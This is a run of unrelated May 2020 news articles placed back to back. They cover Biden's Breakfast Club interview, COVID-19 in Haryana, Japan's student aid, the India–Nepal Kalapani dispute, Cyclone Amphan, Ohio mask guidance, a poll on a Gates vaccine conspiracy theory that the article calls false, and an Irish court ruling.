Vice President Joe Biden (right) appeared on 'The Breakfast Club' Friday with popular host Charlamagne tha God (left)

At the conclusion of the interview, Joe Biden told Charlamagne tha God 'if you have a problem figuring out whether youre for me or Trump, then you aint black'

Joe Biden defended his record on race in the 18-minute 'Breakfast Club' interview, telling Charlamagne tha God that his record on race 'is second to none'

Charlamagne tha God was upfront with Joe Biden about past criticism. And asked him tough questions including whether he was suffering from mental decline

Diddy, also known in some circles as Puff Daddy, tweeted a response to Biden's comments Friday using the hashtag #BlackVoteAintFree

Over the course of the interview, an aide twice interrupted the back-and-forth to tell Biden he was over on time.

This inspired Charlamagne the God, the host of the popular 'Breakfast Club' program, to say, 'You can't do that to black media.'

'I've got to do that to white media and black media because my wife has to go on at 6 o'clock,' Biden replied. 'Uh oh, I'm in trouble,' he muttered, checking the time.

The Bidens, who are under a coronavirus stay at home order in Delaware, share a TV studio set up in a basement rec room.

Charlamagne the God asked the ex-veep to come see him in New York post-pandemic.

'It's a long way until November, we've got more questions,' the radio host said.

Biden sounded surprised by that comment.

'You've got more questions?' he asked.

'Well, I will tell you what, if you have a problem figuring out whether you're for me or Trump, then you ain't black,' Biden said.

Charlamagne the God replied, 'it has nothing to do with Trump.

'I want something for my community,' he told the former vice president.

Biden, using the defensive tone he used for most of the interview, shot back, 'Take a look at my record man.'

'I extended the voting rights act 25 years. I have a record that is second to none. The NAACP has endorsed me every time I've run. Come on, take a look at my record,' Biden said.

When an aide tried ending things for a third time, Biden promised he would come back on 'The Breakfast Club' and called Charlamagne tha God 'pal.'

Things had gotten off to a rocky start with Charlamagne the God copping to the fact that he had been criticial of Biden on his show.

'I know you have,' Biden replied. 'You don't know me.'

Charlamagne tha God admitted that was accurate.

'No I don't, that's why I want to get to know you today,' the host said. 'I'm going to talk to you mostly about black stuff.'

Charlamagne tha God asked about Biden's family and how they were doing during the coronavirus pandemic, while Biden segued and said, 'I'll tell you what, the black community is getting killed though.'

The radio host agreed, and then asked Biden about his cognitive health, pointing to the many attacks on the right suggesting that the 77-year-old candidate was experiencing a mental decline.

Biden responded by saying he couldn't wait to take on the 'stable genius,' Trump.

Charlamagne tha God also questioned Biden on how he could excite voters from his basement.

'I'm following the rules man. I wear my mask,' Biden replied.

'By the way I'm beating him across the board,' he continued. 'It's not hurting me, I'm winning in all those states, I'm head in all national polls, the more he talks the better off I am.'

Charlamagne tha God said he was skeptical of polling after what happened in 2016 - especially since Hillary Clinton was ahead in national polling, but got beaten in three key swing states, where polling wasn't being conducted as regularly.

'Polls can be illusions,' the radio host said.

Biden argued that it's different in 2020 because instead of being an unknown change agent, Trump is a known commodity.

The two had a back-and-forth about the controversial 1994 crime bill, which has been blamed for mass incarceration of black Americans.

'I got to ask you though, why so much resistance on admitting the crime bill and other legislation you were a part of was damaging to the black community?' Charlamagne tha God asked Biden at one point. 'We had Hillary on a few years ago, and Miss Clinton said the crime bill, we made a lot of mistakes with that and she wanted to atone for that by becoming the next president.'

Biden didn't see things the same way.

'She was wrong. It wasn't the crime bill, it was the drug legislation, it was the institution of mandatory minimums, which I opposed,' he said.

Biden said he had a broader plane for black America, which he referred to in the interview as a 'manifesto.'

On the topic of drugs, Charlamagne the God asked Biden why he supported decriminalization of marijuana, but not full legalization.

'Because they're trying to find out whether or not there's any impact on the use of marijuana, not in leading you to othet drugs, but does it effect longterm development of the brain,' Biden answered. 'And we should wait until the studies are done.'

'I think science matters,' the presumptive Democratic nominee added.

Charlamagne tha God also brought up the veepstakes, pointing to the CBS News story that broke Thursday, which said the Biden team was vetting Sen. Amy Klobuchar, a former 2020 candidate who is white.

'A lot of people on social media, they're not too happy about that because they want your running mate to be a black woman,' Charlamagne tha God told the candidate.

'And black people saved your political life in the primary this year,' he added.

Biden had performed badly in both the Iowa caucuses and New Hampshire primary. He came in a weak second to Bernie Sanders in the Nevada caucuses, but his campaign's hopes completely turned around after he was endorsed by Rep. Jim Clyburn, the most powerful black lawmaker on Capitol Hill, and easily won South Carolina's primary.

While Biden has agreed to picking a female VP, he has not committed to choosing a woman of color.

'What I'm saying to them is I'm not acknowledging anybody who's being considered, but I guarantee you there are multiple black women being considered, multiple,' Biden said.

As soon as the interview was released Friday morning, the Biden campaign started playing clean-up, while President Trump's campaign came out kicking.

Symone Sanders, a prominent black Biden campaign adviser, tweeted out that the former vice president was indeed kidding.

Symone Sanders, a top Biden adviser, took to Twitter Friday morning to clarify that the former vice president's comments were made 'in jest'

Trump campaign surrogates Sen. Tim Scott (left) and Katrina Pierson (right) jumped on a call with reporters Friday morning to discuss what Biden had said. Both didn't believe Symone Sanders' explanation that it was 'in jest.' Pierson also said she'd be open to Trump appearing on 'The Breakfast Club' with Charlamagne tha God

'The comments made at the end of the Breakfast Club interview were in jest, but lets be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trumps any day. Period,' Sanders said.

The Trump campaign quickly deployed two black surrogates to address the matter: Katrina Pierson and Sen. Tim Scott.

On Fox Business Network Friday morning, Scott said 'that is the most arrogant, condescending comment I have heard in a long time.'

Trump, himself, later retweeted Scott's segment.

Pierson sent out a statement from the Trump campaign blasting 'white liberal elites' for their treatment of black Americans.

'He truly believes that he, a 77-year-old white man, should dictate how Black people should behave,' she said of Biden.

The duo then hopped on a conference call with reporters and said they found the Biden campaign's explanation for the gaffe laughable.

'I won't even dignify that with a response,' Scott replied when a reporter informed him of Sanders saying Biden's comment was 'in jest.'

'The jest is the joke, right? Obviously it wasn't in jest, he was serious,' added Pierson, who slammed Biden for having a history of saying 'dehumanizing things when it comes to black Americans.'

Pierson said she was open to having Trump appear on 'The Breakfast Club' with Charlamagne tha God.

'I'm not opposed to it. I think it's a place we should go,' she said. 'I'm a big fan of going to places where our voices aren't really heard, because most of the listeners on either these radio programs, these podcasts, even some of these TV shows only get to hear one version and the caricature that gets painted of people like myself.'

Scott, one of only three black U.S. senators and the only Republican, said he had appeared on 'The Breakfast Club' and had held a panel with Charlamagne tha God on black wealth creation.

Previously, Charlamagne tha God had criticized both Biden and Bernie Sanders for not having a concrete economic plan for black Americans.

During an interview on MSNBC in March, as the Democratic primary was winding down, the radio host said he wanted to see a 'specific agenda' for black America similar to what candidate Michael Bloomberg had come up with during his brief campaign.

Bloomberg's 'Greenwood Initiative' had tackled issues including increasing black homeownership and black-owned businesses in the United States.

Charlamagne the God had also previously criticized Biden for avoiding his show, while all the other top-tier Democratic candidates viewed it as a must-do during the primary.

The radio show host had on Sanders, Kamala Harris, Cory Booker, Pete Buttigieg and Elizabeth Warren, who he told to her face sounded like 'the original Rachel Dolezal' by claiming native American heritage.

'We have been loyal to Democrats for a long time, black people have invested a lot into that party and the return on investment has not been great,' Charlamagna tha God told Mediaite Friday, responding to Biden's comment.

The radio host noted that Biden had admitted the party owed something to the black community for that support.

'So let's see what you got!!!' he said in a written statement. 'Votes are Quid Pro Quo. You can't possibly want me to Fear Trump MORE than I want something for my people.'
Haryana has recorded a three-fold increase in coronavirus cases in the first three weeks of May and a majority of them have come from four NCR districts.

The cases have jumped from 339 on April 30 to 1,067 on May 22.

The cases in Gurgaon, Faridabad, Sonipat and Jhajjar, which fall in the National Capital Region, jumped from 54, 53, 25 and 24 to 250, 185, 151 and 91, respectively, health department data showed.

Twelve of the 16 COVID-19 deaths in the state took place this month (till May 22).

On May 4, Haryana recorded the highest single-day jump in coronavirus cases when 75 infections were reported. A day earlier, the state reported 66 infections, mostly from the NCR districts.

The number of active cases in Haryana has gone up from 100 on April 30 to 345 on May 22.

Health Minister Anil Vij said people living in the four NCR districts of Haryana were affected because of their proximity to Delhi, which has seen a high incidence of infection.

Haryana has maintained that several cases reported in Sonipat, Jhajjar, Gurgaon, Faridabad and even Panipat had their origins in the national capital, which has reported 12,319 coronavirus cases.

"We had to put strict regulations on our borders with Delhi to check the spread of infection. We have nothing against the people of Delhi, but we have to protect our people too," Vij said.

Vij said several cases were reported in NCR districts over three weeks ago "as the infection spread in our vegetable markets in Gurgaon, Sonipat, Jhajjar and Faridabad, whose origins were in Delhi".

"I keep saying this repeatedly that more relaxations are being given but we will have to remain cautious and make changes in our daily lives as per the demand of the present situation," he said.

"Wearing masks and observing social distancing need to be followed. However, I have suggested we should have laws which will make not wearing masks and violating social distancing norms a punishable offence," Vij added.

Essential services and personnel like doctors, paramedical staff are allowed through the Delhi-Haryana borders as per the orders of the Delhi High Court.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Japanese government has set an additional criteria for foreign students hoping to receiving cash handouts of up to 200,000 yen ($1,900) for students in the country struggling financially amid the novel coronavirus pandemic, making only those in the top 30 percent of grades eligible.

The additional condition, which will create a gap in the financial support for students facing hardship in paying for tuition or living costs, has sparked criticism as many foreign students experience the same challenges as their Japanese counterparts.

Members of a student advocacy group that has been calling on the government to reduce school expenses called the decision "complete discrimination." On Twitter, a Japanese hashtag meaning "The education ministry should give all foreign exchange students the cash handout" has also been gaining traction.

In explaining its decision, the education ministry has said, "With many foreign students eventually returning to their home countries, we have set a condition to limit the handout to promising talent most likely to contribute to Japan in the future."

As the government will rely on institutions to determine which of their students should receive the assistance, those not meeting the criteria may still be eligible for the handouts, it said.

Education minister Koichi Hagiuda indicated that students from overseas would be eligible for the program during a press conference Tuesday, when he announced that cash handouts would be provided to around 430,000 university and other students in Japan.

But he made no mention of the additional criteria foreign students needed to fulfill, which only came to light during communication with universities and other institutions.

According to the ministry, requirements for program eligibility include a reduction of over 50 percent in the monthly income from part-time jobs used to support tuition fees and, in general, a yearly allowance of less than 1.5 million yen from family. The student must also be living outside of home.

In addition, foreign students must be achieving high marks and have attained a grade point average of at least 2.30 in the past academic year. This accounts for the top 25 to 30 percent of students, the ministry said.
Two of the worlds closest neighbours, India and Nepal, are locked in a cartographic, diplomatic, and to an extent, a political stand-off. The dispute is over the ownership of nearly 330 sq km of land called Kalapani near Nepals western tri-junction with India and China.

The dispute was triggered in November 2019 when India issued a new map to indicate the changed status of Jammu and Kashmir into a Union Territory. Nepal raised objections because the Kalapani area was shown as being in India. Indian maps have always shown it that way; therefore, there was no change in the map. This was followed by Nepals objections to the inauguration of a road from Darchula to Lipu Lekh Pass, aimed at strengthening Indias defence supply lines as well as facilitating smooth passage for pilgrims to Kailash Mansarovar in Tibet. Nepal said this road is an encroachment on its sovereignty. There have been street protests, parliament has agitated, and now the Nepal government has issued its map showing Kalapani as its territory. New Delhi has reiterated that the area belongs to India, and would be willing to resolve the dispute through diplomatic negotiations after the coronavirus disease (Covid-19) crisis is over.

Nepals claims are rooted in the Sugauli Treaty signed with the British in March 1816. In this, Nepal renounced all claims to or connextions (as in original text) with the countries lying to the west of river Kali (Art.V). The land east of the Kali thus remained with Nepal. This claim is reinforced by some old revenue records and gazette notifications.

India accepts this position, but its claim arises from the ambiguity in the treaty on the identification of the Kali river and its origin. According to India, the river originates from Lipu Lekh and then merges into other streams and tributaries to become the Mahakali. Nepals contention is that Kali originates from Limpiyadhura and the stream originating from Lipu Lekh is called Lipu Khola. Hence the dispute. The area between these two streams is Kalapani. The treaty underwent some revisions to accommodate Nepal in the Terai (southern part) and was finally endorsed by the British government on November 15, 1860.

The maps issued by the British between 1816 and 1860 generally favour the Nepali position. But, the maps issued afterwards endorse Indias position. It is possible that the British administration changed this position through proper surveys or subsequently decided to manipulate this position, to serve its larger strategic and commercial interests in using the Lipu Lekh pass for access to Tibet. Independent India was handed over access to Kalapani and Lipu Lekh by the British.

Blaming India for any encroachment is baseless. It must be borne in mind that much before the British came, or the Gurkha kings annexed Kumaon and Garhwal regions  then surrendered under the Sugauli Treaty  Indians were using this route for the pilgrimage to Kailash Mansarovar. The route has deep spiritual and civilisational significance for India. China accepted Lipu Lekh as one of the cultural and commercial transit points with India under its 1954 Peaceful Co-Existence Agreement. This was reiterated in 2015 in a joint statement during Prime Minister Narendra Modis visit to China.

Nepal has endorsed Indias position for nearly 150 years. It used Indian maps showing Kalapani, Limpiyadhura and Lipu Lekh in India. Objections to this were raised in the 1980s, but were ignored by the royal regimes. Since 2000, the two surveyed the length of their boundary to resolve outstanding issues, except in two areas, including Kalapani. It is mutually agreed that these issues will be resolved through diplomatic negotiations.

Why then has the Nepal government turned up the heat on the Kalapani issue? Prime Minister KP Oli faces serious internal opposition at the moment, including from within his ruling Nepal Communist Party. This is largely on account of his governance failures and lack of action on combating the pandemic. He has consolidated his nationalist image since 2015 by fighting Indias ill-advised diplomatic intervention on the constitution issue and the counterproductive economic coercion (partial economic blockade) that followed. He perhaps hopes that this face-off with India on Kalapani will give him a new lease of political life.

The strategic community in India apprehends that Nepal is also being prompted by China to get India out of Kalapani. Indian Army chief General MM Navranes indirect reference in an Institute of Defence Studies and Analyses lecture may be recalled here. This apparently conflicts with Chinas endorsement of the Indian position in 1954 and 2015. However, China is seldom straight in diplomacy. It is unhappy with Indias growing strategic proximity to the United States. It has also objected to Indias defence infrastructure upgradation projects all along the border. The Darchula-Lipu Lekh road is one such project. Needling India and alienating Kathmandu from New Delhi serves Chinas broader purpose. This explains why is it is playing an active role in preserving the unity of the Nepal Communist Party and protecting the Oli regime.

Prolonging this stand-off is not in the interest of either Nepal or India. It will be exploited by the third parties to their advantage. India and Nepal, keeping in mind their mutual stakes and concerns, should through resilient and mutually accommodative diplomacy, resolve this.

SD Muni is professor emeritus, Jawaharlal Nehru University, and a former ambassador

The views expressed are personal
By Akbar Mammadov

Azerbaijans President Ilham Aliyev has signed the Decree on the establishment and organization of the Alat free economic zone, the presidents website reported on May 22.

According to the decree, the Alat Free Economic Zone (Free Zone) and the authorized body of the Free Zone have been founded.

The lands located in the administrative territory of Garadagh district of Azerbaijan have been identified as the territory of Alat free economic zone. The temporary administration of the Alat free economic zone has been abolished.

On the same day, under other presidential order, Valeh Alasgarov has been appointed Chairman of the Board of the Alat Free Economic Zone. It should be noted that he was appointed chairman of the temporary management body of the Alat free economic zone on 25 November of the last year until the formation of the authorized body of the Alat free economic zone and its Board.

Thus, Baku International Sea Trade Port CJSC must submit the drafts of normative legal acts necessary for the inclusion of the allocated territory in the territory of Alat free economic zone to the president within three months.

The Cabinet of Ministers will take necessary measures to purchase the lands specified in the land management plans in accordance with the requirements of the Law of Azerbaijan "On Acquisition of Lands for State Needs". Upon completion of the acquisition of lands for state needs, it will submit to the President of Azerbaijan together with the relevant land management plans proposals on the transfer of lands specified in the land management plans in Annexes 1-3 to this Decree to the competent authority of the Free Zone with one-time, gratuitous and permanent use, the decree reads.

The Free Zone Authority must submit its proposals to the president within fifteen days to determine the organizational structure of the Free Zone Authority.

Furthermore, central and local executive authorities, public legal entities established on behalf of the state and legal entities whose controlling stake is owned by the state must ensure that the Free Zone relevant authority is provided with the necessary assistance in resolving issues arising from this Decree, the decree reads.

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Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
New Delhi: The successive lockdowns have yielded diminishing returns, alleged Congress interim president Sonia Gandhi as she convened a meeting of 22 'like-minded' Opposition parties on Friday (May 22). Gandhi also accused the central government of not having an exit strategy and being uncertain about the criteria for lockdown.

She underlined that the opposition offered full support to the government even when the lockdown was imposed on March 24, with barely 4 hours of prior notice. "The initial optimism of the Prime Minister that the war against the virus would conclude in 21 days has turned out to be misplaced," she stated.

She further attacked the Centre saying the spirit fo federalism has been forgotten. "The government has also abandoned any pretence of being a democratic government. All power is now concentrated in one office, the PMO. The spirit of federalism which is an integral part of our Constitution is all but forgotten. There is no indication either if the two Houses of Parliament or the Standing Committees will be summoned to meet. "

The veteran Congress leader described PM Modi's Rs 20 lakh crore package and the Finance Minister spelling out its details over the next five days as 'cruel joke on the country'.

The defining image of the pandemic has been the lakhs of migrant workers, many with children, walking hundreds of kilometres, without money, food or medicines, desperate to reach their home states. The interim president of the Congress said that government should give cash transfers to vulnerable.

"Meeting of the 22 likeminded parties begins virtually to dicuss COVID-19 and economic pandemic. Meeting condoles the deaths caused by Cyclone Amphan in West Bengal and Orissa," tweeted Randeep Surjewala chief spokesperson of Congress.
Ireland could post a wider budget deficit this year than its worst-case scenario of 10% of GDP, even if it fully succeeds in reopening the economy, Finance Minister Paschal Donohoe told Reuters on Thursday.

The government has committed more than 13 billion euros so far to help firms, workers and the health service cope with the coronavirus pandemic, turning a budget surplus in 2019 into an estimated deficit of at least 7.4% of gross domestic product.

Donohoe told parliament on Wednesday the state was already approaching the upper end of his department's forecast range - 30 billion euros or 10% of GDP.

"If we are completely successful in implementing our plan, it definitely reduces the chances of us going beyond the 30 billion threshold, but there is still risk there," Donohoe said in a telephone interview from the spare room in his Dublin home where he works when he can in line with public health advice.

"What I would be particularly aware of is what happens with the disease in markets into which we sell goods and services."

Ireland's record budget deficit was an eye-watering 32% in 2010, largely due to a 30 billion euro bank rescue. The underlying deficit was estimated to be 12% at the time.

Donohoe said it is very possible the number of firms on the state's wage subsidy scheme will keep rising, including dormant ones that may use it to reopen. The number of subsidized workers would only likely surpass those claiming a new jobless payment by stage four or five of the reopening plan, he added.

The state is supporting half of the labor force, 585,000 of which are on the jobless scheme for those who lost work due to coronavirus disruption and 473,500 claiming wage subsidy. Phase four of Ireland's conservative reopening is scheduled for July 20, with the fifth and final phase on Aug. 10.

With hotels and pubs only due to reopen in those phases, the hospitality industry is looking for further aid. Donohoe, who has previously singled out the sector for potential targeted assistance, said he wants to be clear on when and how they can open up before deciding on what may be needed.

Another threat to future Irish tax revenues - a rewriting of international corporate tax rules - is currently being debated by the members of the Organisation for Economic Cooperation and Development (OECD).

Donohoe said he believed it is possible OECD member states will reach an agreement by a year-end target, a preferred option for Ireland as the prospect of an EU digital tax "would re-emerge and re-emerge quickly" if the OECD fail, Donohoe said.

Ireland sees a standalone EU tax on large internet firms as a bigger threat to its decades-long, low corporate tax model that has attracted over 250,000 multinational jobs.

Currently part of a caretaker government following a Feb. 8 election, Donohoe is also confident negotiations between his Fine Gael party, Fianna Fail and the Greens will yield a program for government as soon as the end of the month.

"I think we will have an agreement," he said. (Reuters)

Source: www.businessworld.ie
Kolkata/Bhubaneswar: Seventy-eight people died and thousands were injured by the fury of the six-hour-long cyclone Amphan that ripped through several parts of West Bengal and Odisha on Wednesday, leaving a heart-rending trail of death and destruction.

Amphan, the fiercest cyclone to hit West Bengal in 100 years, packed in winds of up to 190 kmph, and razed mud houses to the ground, destroyed crops, uprooted trees and electric poles. Two districts of the state  North and South 24 Pargana  were completely devastated with thousands of people left homeless, bridges washed away and low-lying areas in waist-deep water. Many of Kolkatas roads were flooded and its 1.4 crore people were without power as torrential rain and high-speed winds roared through the state capital.

In many of Odishas costal districts, the cyclone damaged power and telecom infrastructure. Odisha government officials estimated that the cyclone has affected around 45 lakh people in the state.

Many of the affected areas are without power and in several districts mobile and Internet services remain disrupted as the cyclone damaged several communication towers.

At least 72 people were killed in West Bengal and six casualties were reported from Odisha. The cyclone also devastated parts of Bangladesh which reported 20 deaths.

I have never seen such a dangerous disaster in my life. We saw Aila, Phani and Bulbul. But cyclone Amphan was far more devastating than the previous ones. The extent of damage is estimated to be around `1 lakh crore. The weather forecast of its duration of a few hours failed It is worse than Covid-19. I request the PM to visit our state to assess how deadly the disaster was, West Bengal chief minister said.

Restoration work will start soon. A large part of North and South 24 Parganas and Kolkata are facing massive power cut since last evening. Even telephone and mobile connections are down I will visit the affected areas very soon, Banerjee added.

Banerjees appeal to the Prime Minister came after Modi tweeted, Have been seeing visuals from West Bengal on the devastation caused by cyclone Amphan. In this challenging hour, the entire nation stands in solidarity with West Bengal. Praying for the well-being of the people of the state. Efforts are on to ensure normalcy. NDRF teams are working in the cyclone affected parts. Top officials are closely monitoring the situation and also working in close coordination with the West Bengal government. No stone will be left unturned in helping the affected.

Besides North and South 24 Parganas and Kolkata, West Bengals districts of East Midnapore and Howrah were the worst hit as portions of several dilapidated buildings came crashing down in several places.

Kolkata recorded winds with speed up to 125 kmph that overturned hundreds of cars, uprooted trees and electricity poles that many fell, blocking key arterial roads and intersections, some even ripping through parked buses.

Kolkata residents recalled living through hell for six hours as the winds howled incessantly. Windows buckled from the pressure of the storm, cars floated on water logged roads, bumping against each other. Parts of air conditioners flew around like missiles.

Setting up a `1,000-crore fund for relief work, Banerjee noted that most of the deaths in West Bengal were due to tree-uprooting and wall collapse during the cyclone. People were told to be inside home during the cyclone as a precautionary measure. But many of them did not listen to the warning and remained outside. This resulted in high casualties, she added.

The chief minister announced `2.5 lakh compensation for each victims kin.

Among the 72 victims in the state, 15 are from Kolkata, 17 from North 24 Parganas, 10 from Basirhat and four from the South 24 Parganas-Sunderban region.

The extremely severe cyclone Amplan, which made landfall in Digha near Sundarban on West Bengal-Odisha border and Hatiya in Bangladesh on Wednesday afternoon, packing winds of up to 190 kmph, weakened Thursday as it moved into Bhutan.
A kitchen fire and a car fire kept the capital's fire brigade busy on Thursday night.

A kitchen fire caused material damage at a residence in Ville Haute around 10pm, while a car caught fire in Merl at 11.45pm.

Further details are unavailable for both incidents, but no injuries were reported.

One person was left with injuries after an accident in Fridhaff, when a motorist crashed into a road sign.

Diekirch fire brigade and Ettelbruck ambulance attended the incident.
Health authorities in Ohio's largest county are apologizing this week after issuing "offensive" face-mask guidance for African Americans and people of color, urging them to steer clear of masks that could be associated with "gang symbolism" or "elicit deeply held stereotypes."

The Franklin County Public Health department, which just recently declared racism a public health crisis, had issued its guidance last month after African Americans expressed concern about being racially profiled while wearing face masks. Officials said they wanted to "ensure that all individuals feel safe and can protect themselves from the COVID-19 when out in public by wearing a face mask."

But the pointers the health department offered didn't exactly resonate in the way authorities apparently hoped. The guidelines, which encouraged people of color to wear brightly colored masks with decorative fabric, also urged:

"Avoid fabrics that elicit deeply held stereotypes. (i.e. bandannas, skull prints, horror prints, etc.)"

"When utilizing a homemade mask, avoid bandannas that are red or blue, as these are typically associated with gang symbolism."

And finally: "It is not recommended to wear a scarf just simply tied around the head as this can indicate unsavory behavior, although not intended."

To critics, it sounded more like guidance on how to avoid being attacked or stigmatized because of their skin color.

"This racist 'guidance' from @FC_PublicHealth is unacceptable," one critic who distributed the guidelines wrote on Twitter. "They're really suggesting that [people of color] take responsibility and make careful mask choices during a GLOBAL PANDEMIC to avoid being lynched."

As the criticism mounted, county health authorities walked back the document on Wednesday afternoon, saying they realized "some of the language used came across as offensive and blaming the victims."

"We have listened to the opinions and are using the voice of the public to inform any new guidance we put out," the health department wrote "Everyone deserves to feel safe while wearing a face covering and not be subjected to stigma, bias or discrimination. We apologize and will continue to stay engaged in tough conversations to be better for the communities we serve."

The health department's apology was particularly notable to some critics because it came one week after Franklin County Public Health declared racism a public health crisis, acknowledging how decades of discrimination and segregation have created serious health disparities between black and white Ohioans. Commissioners in Franklin County adopted a resolution similar to the health department's on Tuesday, pledging to devote more resources to addressing health inequities in minority communities.

"Racism has been a pandemic long before the current coronavirus pandemic," Franklin County Commissioner Kevin L. Boyce said in a statement.

The coronavirus pandemic has only exposed and exacerbated those disparities, as black people all over the country are dying from the disease at rates disproportionate to those of white people. The same has been true in the state of Ohio, which has seen at least 30,167 cases and 1,836 deaths. Although African Americans make up about 13 percent of Ohio's population, they account for at least 26 percent of covid-19 cases, 31 percent of hospitalizations and 17 percent of deaths, Gov. Mike DeWine (R) revealed in a Thursday news conference.

"The health disparities didn't occur overnight. They are complex and present complex challenges," he said, pledging that his Minority Strike Task Force would release a report next month. "The current coronavirus pandemic has brought into high contrast these troubling issues."

Public health experts in Ohio and elsewhere have explained that the coronavirus racial disparities are likely due to higher rates of chronic disease, such as heart disease and diabetes, among black Americans compared to white Americans. Yet those disparities are in turn largely because of decades of inequitable access to health care in minority communities, experts have said.

"We hear more and more that people are clamoring to return to normal," said Joy Bivens, director of the Franklin County Department of Job and Family Services, during this week's county commission meeting, the Columbus Dispatch reported. "Our community can never return to normal. Normal was not working for them. Black people and people of color were in crisis before covid hit our community."

Health disparities have not been the only way in which black Americans have been disproportionately affected throughout the covid-19 crisis. Black people have been arrested or cited for social distancing infractions at disproportionate rates compared to white people in some jurisdictions, as The Washington Post recently reported.

And after the Centers for Disease Control and Prevention recommended last month that everyone wear masks in public, some black Americans felt discomfort that white Americans could not relate to: fear that donning a face covering could subject them to racial profiling.

On April 4, the day after the CDC released its facial-covering recommendations, Columbus resident Aaron Thomas described that fear in a viral tweet: "I don't feel safe wearing a handkerchief or something else that isn't CLEARLY a protective mask covering my face to the store because I am a Black man living in this world," Thomas wrote. "I want to stay alive but I also want to stay alive."

The tweet caught the attention of Franklin County Public Health, as officials intended to address the concerns raised by Thomas and those who may feel similarly. They said in the guidance document that they understood some African Americans may feel "general reluctance in wearing masks in public due to the possibility of profiling from law enforcement, discrimination while in grocery stores, public spaces, or when interacting with the general public."

But as the guidance made the rounds on social media this week, some questioned why it wasn't instead aimed toward law enforcement or white people.

"Will @FC_PublicHealth be following up with some general guidance to white people and law enforcement to advise them against treating Black and Brown community members as a threat simply because they are wearing a scarlet bandana or a mask that is not brightly colored?" wrote Nikki Baszynski, a Columbus attorney with the Justice Collaborative.

On Wednesday, some thought the apology was not enough, although others said they appreciated it in light of the agency's recent commitment to addressing racial health inequities

"Apologies are more strengthened by actions than by words, so of course you know the important work of anti-racism based public health continues," Riko Boone, a public health social worker, wrote on Twitter. "This is an important step in that direction."
Half of Fox News viewers believe that Bill Gates wants to use a coronavirus vaccine to implant microchips into Americans for global surveillance, according to a recent survey,

According to a poll undertaken on by Yahoo News and YouGov, 50 per cent of those who took the poll and name the broadcaster as their primary television news source believe the coronavirus conspiracy about Mr Gates.

The theory rests on the belief that Mr Gates created the disease as a tool to vaccinate the population, secretly implant people with devices for surveillance and take control of the global health system.

It originates from attempts to link the Mr Gates and the Melinda Gates Foundation to the outbreak, due to a multi-million dollar grant given to the research group by the foundation.

The funding does not prove of suggest that the Gates Foundation knew about the coronavirus outbreak in advance or played a role in causing it.

Only 26 per cent of Republicans identify the conspiracy theory as false while in comparison only to 19 per cent of Democrats said they believe the theory, according to the survey.

In addition, 44 per cent of 2016 Trump voters also said that they believe in the theory, which has been previously identified by fact checkers as false. Neither Fox News or Mr Trump has promoted the theory.

The survey used a nationally representative sample of 1,640 US adult residents and was weighted according to gender, age, race and education, as well as 2016 presidential vote, registration status and news interest.

In the poll, a broad majority of the public noted they were either very concerned or somewhat concerned about false or misleading information being communicated about coronavirus.

However, where exactly this false or misleading information comes from varies significantly depending on political persuasion.

Over half of Democrats selected the top source of misleading information as the Trump Administration but on the other hand over 50 per cent of Republicans point to the mainstream media, the poll says.

Only half of Americans surveyed say they intend to get vaccinated if and when a coronavirus vaccine becomes available, with only 44 per cent of Trump voters saying they would do so, despite the president himself pushing for a vaccine.

Anti vaccine protesters have become a growing force in the US and their growing presence at the protests worries public health experts.

The New York Times reported that many officials fear that anti vaccination messaging could derail the end to the pandemic if a large part of the population refuse to accept a vaccine.

Some experts also fear that conspiracy theories and anti vaccine rhetoric go hand in hand, with people opposing mandatory vaccines having swiftly adopted the Bill Gates conspiracy, according to the report.

People choosing to forgo vaccinations for their children could be devastating for public health during and after the coronavirus pandemic, medical experts say.

The US currently has more than 1.63m recorded cases of the coronavirus and has a death toll of over 95,000 as of Friday.
The family of Co Louth man Seamus Ludlow has lost an appeal aimed at compelling the State to establish an inquiry into the "inexcusable" handling of the Garda investigation into his murder.

A report by retired High Court judge Henry Barron stated the 1976 murder of 47-year-old Mr Ludlow, who had no paramilitary connections, was a random, sectarian killing of a blameless Catholic civilian by loyalist extremists.

In 2015, then Minister for Justice Frances Fitzgerald apologised to the family over the "inexcusable" handling of the Garda investigation into the "callous, sectarian" murder but said there was no "new or substantial" information warranting commissions of inquiry.

Mr Ludlow was shot after leaving a bar in Dundalk and his body was found on May 2, 1976 in a lane near his home.

No one has ever been charged in connection with the murder and his family says gardai failed to pursue an important line of inquiry - he was an innocent victim of either loyalist or British forces who mistook him for a senior member of the IRA.

Despite the RUC having identified suspects north of the border, the Garda investigation was suspended after three weeks without explanation and on foot of what a Garda told the family were "orders from Dublin", they claimed.

An Oireachtas Committee said in 2006 it could not resolve why gardai did not follow up the RUC information but believed it was because of a direction by a former senior garda.

The family sought commissions of inquiry to examine failures in the Garda investigation and to look into what documents might have been created by the State authorities in respect of the murder.

The State maintained the murder investigation remains open and commissions of inquiry could not progress that. It also said the DPPs on both sides of the border recommended no prosecutions concerning four persons named in the Barron report as suspected perpetrators of the murder.

Arising from the 2015 refusal to set up an inquiry, Thomas Fox, a nephew of Mr Ludlow, took High Court proceedings on behalf of the family to have the State establish commissions of inquiry.

In a 2017 judgment, the High Court said the courts cannot force the executive to set up any kind of inquiry.

However, Ms Justice Mary Faherty said it was "undeniably acknowledged" the State had failed Mr Ludlow and his family and, on public interest grounds, directed it to pay half the legal costs of the action.

Today, a three-judge Court of Appeal (COA) upheld the High Court decision.

Giving the COA judgment, its president, Mr Justice George Birmingham, rejected the familys argument of a legitimate expectation commissions of inquiry would be set up by the government arising from communications from the Department of the Taoiseach in 2002 stating the Barron report would be sent to government and to an Oireachtas Committee to advise as to any further action.

The then government had not said it would accept or implement recommendations to set up such commissions, the judge said. There was a "problematic" issue as to whether statements of one government or minister could be binding on their successors.

He agreed with the High Court the refusal to set up inquiries was not irrational.

He rejected additional arguments of a breach of Article 2 of the European Convention on Human Rights, concerning the right to an effective investigation into a death.

Mr Ludlows murder happened in 1976, before the coming into effect here of the ECHR Act 2003, and that Act does not have retroactive effect, he said.

Article 2 is not concerned with "investigations into investigations" and there is "no right to truth" detachable from and independent of the Article 2 justice obligation.

The court, he said, cannot ignore there have now been four separate Garda investigations, the first "deeply flawed" investigation in 1979/80, others in 1996 and 1999, and another following the Barron report.

It was "hard to see" what more could be achieved by a further inquiry, he said.

These proceedings were "essentially misconceived" and amounted to inviting the court to trespass into the exercise "of what is quintessentially a political judgment" exercised by the Executive and Oireachtas, he concluded.
